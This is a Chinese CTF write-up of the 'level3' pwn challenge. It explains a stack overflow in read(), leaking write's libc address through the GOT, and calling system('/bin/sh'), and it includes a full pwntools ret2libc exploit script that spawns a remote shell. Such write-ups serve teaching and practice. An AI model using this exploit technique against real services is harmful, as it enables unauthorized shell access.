流程很简单,直接输入一串字符,然后结束。从IDA反汇编成C程序代码看,read方法这里存在明显的栈溢出。但这道题的真正难点在于,程序本身没有可用的函数(system函数),也没有可用的函数参数(“/bin/sh”)。也没有更多的输入点给我们利用。但是题目给了我们一个动态库,意思很明显,就是利用动态库的方法和参数。
首先,使用 strings -at x libc_32.so.6 | grep bin/sh 查看动态库是否存在我们需要的字符串以及它在库中的相对位置。
执行结果告诉我们,“/bin/sh”存在且相对位置为:0x15902b
使用 readelf -s libc_32.so.6 | grep write 查询动态库是否存在write方法以及它的相对位置
write函数存在,且位置为:0xd43c0.
所以,“/bin/sh”与write函数的相对距离为:rela_sh=0x15902b - 0xd43c0 = 0x84c6b.同样也可以得到system方法与write方法的相对距离rela_sys.
获取到两个相对距离后,现在的问题变成,怎么获取write方法链接装载后的地址。
于是思路为:通过栈溢出执行write方法,把write方法的地址作为参数输出出来,获取到输出后,重新回到main函数执行,然后再次来到read方法,再次溢出执行system方法。exp如下:
from pwn import * #io = process("./level3") io = remote('220.249.52.133', 50568) elf = ELF('./level3/level3') elf_lic = ELF('./level3/libc_32.so.6') rela_sys = elf_lic.symbols['write'] - elf_lic.symbols['system'] rela_bash = 0x84c6b payload = 'a' * 0x8c + p32(elf.plt['write']) + p32(elf.symbols['main']) + p32(1) + p32(elf.got['write']) + p32(10); io.sendlineafter("Input:\n",payload) addr_write = u32(io.recv()[:4]) addr_sys = addr_write - rela_sys addr_bash = addr_write + rela_bash payload = 'a' * 0x8c + p32(addr_sys) + 'a' * 4 + p32(addr_bash) io.sendlineafter("Input:\n",payload) io.interactive()然后说一下个人对symbols的理解:symbols就是函数的调用地址,对于在程序内部的方法,symbols地址就是方法的入口地址,对于外部通过动态链接的方法,symbols地址就是其plt地址,它真正的入口地址在got表中(第二次调用及以上)。